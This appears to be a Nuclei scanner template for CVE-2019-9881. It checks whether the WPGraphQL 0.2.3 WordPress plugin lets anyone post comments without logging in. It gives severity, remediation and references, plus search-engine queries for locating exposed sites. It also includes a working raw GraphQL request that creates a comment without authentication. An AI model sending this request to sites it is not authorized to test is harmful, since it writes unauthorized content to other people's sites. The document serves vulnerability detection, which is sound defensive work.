WPEngine WPGraphQL 0.2.3 - Unauthenticated Comment Posting

id: CVE-2019-9881

info:
  name: WPEngine WPGraphQL 0.2.3 - Unauthenticated Comment Posting
  author: intelligent-ears
  severity: medium
  description: |
    The createComment mutation in the WPGraphQL 0.2.3 plugin for WordPress allows unauthenticated users to post comments on any article, even when 'allow comment' is disabled.
  impact: |
    An attacker can exploit this vulnerability to post unauthorized comments on WordPress posts, potentially leading to content manipulation and defacement.
  remediation: |
    Update WPGraphQL to version 0.3.0 or later to fix this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9881
    - https://github.com/wp-graphql/wp-graphql/releases/tag/v0.3.0
    - https://www.pentestpartners.com/security-blog/pwning-wordpress-graphql/
    - https://wpvulndb.com/vulnerabilities/9282
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2019-9881
    cwe-id: CWE-306
    epss-score: 0.18832
    epss-percentile: 0.96942
    cpe: cpe:2.3:a:wpengine:wpgraphql:0.2.3:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpengine
    product: wpgraphql
    framework: wordpress
    shodan-query: http.title:"WordPress" "graphql"
    fofa-query: body="/wp-content/plugins/wp-graphql/"
    publicwww-query: "/wp-content/plugins/wp-graphql/"
  tags: cve,cve2019,wp,wp-plugin,wordpress,wp-graphql,wpengine,unauth,vkev,vuln

variables:
  string: "{{randstr}}"
  client: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query": "mutation { createComment(input: { postId: 1, userId: 1, content: \"{{string}}\", clientMutationId: \"{{client}}\" }) { clientMutationId } }"}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/json")
          - contains_all(body, 'createComment','clientMutationId','\{\"data\":','{{client}}')
        condition: and
# digest: 490a0046304402200daef67a2086d3407fce4265d79e2cab416de3c0fdcd64fe5b5247fe68bfc7a502200f37a93a79bbab45f0fbe5d5fa7ee7e5c0c31061642017a00aeb04496531f3d0:922c64590222798bb761d5b6d8e72950